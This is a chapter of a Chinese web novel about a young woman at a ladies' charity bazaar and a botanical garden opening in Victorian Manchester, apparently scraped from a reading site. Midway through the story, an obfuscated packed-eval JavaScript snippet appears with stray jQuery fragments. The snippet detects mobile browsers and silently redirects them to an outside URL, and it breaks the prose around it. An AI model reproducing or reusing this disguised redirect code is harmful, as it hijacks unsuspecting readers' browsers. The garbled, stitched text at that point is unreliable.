34. 慈善会

作品:《再看我就报警了

    路威尔顿先生捐了一大笔钱,惹得奥尔斯顿牧师不停地感谢他。


    说这笔钱可以为孤儿、无能力的老弱病残带来更多的福祉。


    他也会将路威尔顿先生的名讳告诉他们,不过路威尔顿先生拒绝了,他不希望这件事被过多的人知道。


    低调慷慨,黛芙妮这样评价他。


    在对方提议送她回一百零八号的时候,很是心甘情愿地上了马车。


    等她坐回会客室冷静下来又陷入沉思,既然他并不是一个没有同情心的人为什么会不同意改善工人的生存环境?


    说来,他不也出生在那样的地方吗?


    贸然地问私密问题很可能惹得对方生气,黛芙妮只能自己猜测,也许他真的受过伤害。


    晚餐时,她又将路威尔顿先生的善举告诉了爸妈,果不其然他们也对那位先生的举措十分赞扬。


    “太慷慨了,下次见面我必须得亲自感谢他。”狄默奇太太高兴地说。


    “康斯坦丁是一位真正的绅士,有多少人在像他一样身怀巨富的同时又热衷于做慈善?”狄默奇先生赞扬他。


    “你说得对。”狄默奇太太点头。


    本周五,狄默奇太太和黛芙妮将通过加尔顿太太的慈善会在本街区正式亮相。


    地点就在加尔顿太太家中,一栋坐落在运河支流边的小房子,位于牛津路的尾巴。


    黛芙妮穿了一条鹅黄色绸制礼服,


    中分低盘发髻,方便戴帽子。


    同色的鹅黄色宽檐帽上别了新鲜的百合,一对长长的仿钻石耳坠落在肩头。


    她和狄默奇太太一起由车夫送到加尔顿家中。


    马车稳稳停下,两人一前一后下车,正好与亨斯通太太、贝拉相遇。


    有了熟悉的友人在侧,狄默奇母女微微吊着的心放下来。


    狄默奇太太和亨斯通太太走在前面,贝拉挽着黛芙妮走在后面。


    加尔顿宅是一栋独立的三层建筑,此刻铁门大开,平坦的小花园两侧摆了几处小摊位,不仅有卖帽子的还有卖绸扇、手套的。


    年轻的小姐或已婚的妇女在摊位间走动,这样热闹的活动使黛芙妮心情也变得明朗。


    亨斯通太太将她们带到了站在大厅里的加尔顿太太面前。


    “加尔顿太太。”亨斯通太太微笑,“这是狄默奇太太和她的小女儿,黛芙妮小姐。”


    黛芙妮松开贝拉的手站到妈妈身边,对加尔顿太太行微蹲礼:“加尔顿太太。”


    加尔顿太太不年轻了,棕色泛白的发丝、耷拉的眼角、扁扁的嘴唇,眼神倒是还有几分犀利。


    穿着简单但不失身份的证明,气质更是出众。她是黛芙妮见过的最有威严的一位太太。


    “狄默奇太太,欢迎你来慈善会,还有黛芙妮小姐。”她扯扯嘴角,用审视的眼神打量她们。


    “感谢你的邀请,我和黛芙妮才有机会参加这样的善事。”狄默奇太太笑着说。


    加尔顿太太目光放缓,她点头将一直未开口的、站在他身后的年轻女人介绍出来:“这是我的侄女,昨天刚从什罗普郡过来。桑席。”


    棕发、骨架不小、一双眼睛闪动频繁。


    桑席抿起嘴唇笑了笑。


    “什罗普郡过来要不少时间,不过曼彻斯特一定不会让你失望的。”亨斯通太太说。


    “亨斯通太太。”一位女士摇曳着走来,手里扇着漂亮的刺绣折扇。


    “西格莉德。”亨斯通太太熟稔地握住她伸出来的手,“有段时间未见了,听说你去了海外?”


    西格莉德,这个名字黛芙妮听贝拉说过,她是加尔顿太太的女儿。


    已婚妇女们挥挥手将三位未婚小姐赶到草坪上去。


    黛芙妮和贝拉对视一眼,率先开口:“我叫黛芙妮,这是贝拉,我们住在牛津路靠近头部的位置。”


    桑席像个容易受惊的小象,她脸色泛红,轻声开口:“我叫桑席·卡斯蒂奥,就住在这儿。”


    加尔顿太太举办的慈善会邀请的都是女人,没有一个男性,这让在场的女士都很放松。


    走了短短几步路黛芙妮就听到了好几道不加以克制的笑声。


    难得强烈的日光配上碧绿的草坪和有趣的小摊,几人说起话来也比往常来得自在。


    桑席为她们介绍慈善会:“所有出售的物品都是大家自己提供的,而卖出的钱会全部用于慈善事业。”


    她们在一个手套摊前停下,黛芙妮拿起一副真丝手套:“这真是大好事,但是我比较好奇这里有男士慈善会吗?”


    桑席摇头:“我倒不清楚,不过我老家是没有的,连这样的女士慈善会也没有。”


    “男士可不会选择这样的方式来营销自己的名声。”贝拉笑着说,“他们通常选择更正式,舞台更大的场地。”


    “所以他们选择怎样的舞台?”黛芙妮好奇地问。在利物浦她参加的慈善会也都是女人筹办的。


    “下个月,曼彻斯特的植物园将要开业。我爸爸说,一些男士慷慨地捐了不少钱,温室就有四个。”


    黛芙妮点头:“光建一个温室就够加尔顿太太举办上百次慈善会了。”


    “是啊,路威尔顿先生就捐了两个。”贝拉说,“是不是很意外?”


    “如果是昨天之前,我保证会的。”黛芙妮说。她花了几个先令将那副手套买下。


    贝拉挑眉,手腕轻扭,折扇上的蕾丝左右摆动:“真想不到,竟在不知不觉中你对那位先生改了看法。”


    她们继续往前走,停在了一个卖丝巾的摊位前。


    “只说我知道的,上回他在教堂捐了一大笔钱。”黛芙妮小声说。虽然路威尔顿先生不希望将他的名字宣告大众,但要是有人愿意问她还是十分乐意说上一句的。


    “瞒得这样紧,想来他不想让人知道了。”贝拉沉思。


    “是这样的。别人不问我就做个守口如瓶的人,可要是他人问起我也很乐意将他的仁慈之举说出去。”黛芙妮说。


    桑席抚摸一块草绿色的丝巾,她忍不住好奇:“你们说的是谁?”


    “让我介绍,那就是英俊富有的先生。”贝拉笑着说又看了黛芙妮一眼。


    “我不敢说我不甚了解的,半知半解的也没必要说,就了解的来说是位很有个性的绅士。”黛芙妮说。


    桑席没听明白但她不再追问。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645783|184350||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    慈善会只办一上午,午餐过后就结束了。


    分别前,桑席送她们到雕花铁门处,有些不舍:“我是十分喜爱你们的,只是不知道还有没有机会再相处了。”


    “难道你马上就要离开了?”黛芙妮问。


    桑席露出窘迫的神情摇头:“想来我会在这儿长住。”


    听到这话的黛芙妮、贝拉都有些诧异。


    “下个月植物园开业,不如我们约好一起去?”贝拉握着她的手说。


    桑席露出笑来,高兴地点头。


    返程的马车上,狄默奇太太放下嘴角,眼角的疲惫瞬间浮现,不过她还是很满意这次活动的:“加尔顿太太说,她打算将今天筹集到的资金用来购买药品送往教堂。她真是一位善良的女士。”


    黛芙妮注意到她买了一顶帽子和一个香包。


    “说来,加尔顿太太的侄女也是可怜。”狄默奇太太又说,“我听加尔顿太太的女儿西格莉德说,卡斯蒂奥小姐父母刚刚去世,如今只剩她一个人。”


    黛芙妮捂嘴:“上帝。”


    “她让我想起了可怜的迈尔斯。”狄默奇太太伸出手指按了按眼角,继续说,“哎,卡斯迪奥小姐连像样的嫁妆也拿不出来,西格莉德说她来时甚至只有三套换洗衣服。”


    “她是位不错的淑女,我想苦难一定都过去了。”黛芙妮蹙眉。对桑席的经历感到同情。


    五月初,曼彻斯特突破记录,连开了一周多的太阳。


    街边不多的树与花,一天天总欢喜地颤抖,黛芙妮偶尔走在它们身边还会被轻触打招呼。


    植物园就是选在了这样一个日子里开业。


    它选址离牛津路不近,但坐马车的时间也远远谈不上长得烦人。


    为了配合今日的活动,黛芙妮特地穿上了绿色的裙子,就连头上的圆顶编织宽檐帽上的绑带也是绿色的,还系了一个大大的蝴蝶结。


    她戴上白色的手套又将扇子穿了绳子坠在手腕上才出门,亨斯通家的马车在她刚下台阶就到了。


    贝拉、克洛伊都高高兴兴地迎接她。摩西也在,虽然他觉得面对一群比他大几岁的女人们很煎熬,但没有男性陪同她们是不可以去植物园的,为此也只能苦着脸坐在车座上和黛芙妮打招呼。


    至于桑席她会乘坐加尔顿家的马车直接前往植物园。


    “我听说四个温室里有一个是培育睡莲的,还有一个棕榈玻璃房。”克洛伊说,她声音雀跃,极大地调动了本就期待的黛芙妮。


    “是吗?那你知道另外两间是种的什么吗?”黛芙妮问。


    克洛伊摇头:“说什么的都有,就是没个准确的说法。”


    “听说植物园总面积达三百英亩,只比皇家植物园小几十英亩。”摩西说。


    他一说又将气氛推到了新的高度。


    “马上就知道了。”贝拉安抚她们。


    曼彻斯特第一座植物园,英国的第二座植物园,名头响亮地引来的人流让这里像蜂巢一样热闹。


    还未进去,几棵巨大的树就在昭示着这里的与众不同。


    与桑席汇合后,四人有说有笑地递了门票进去,摩西跟在身后。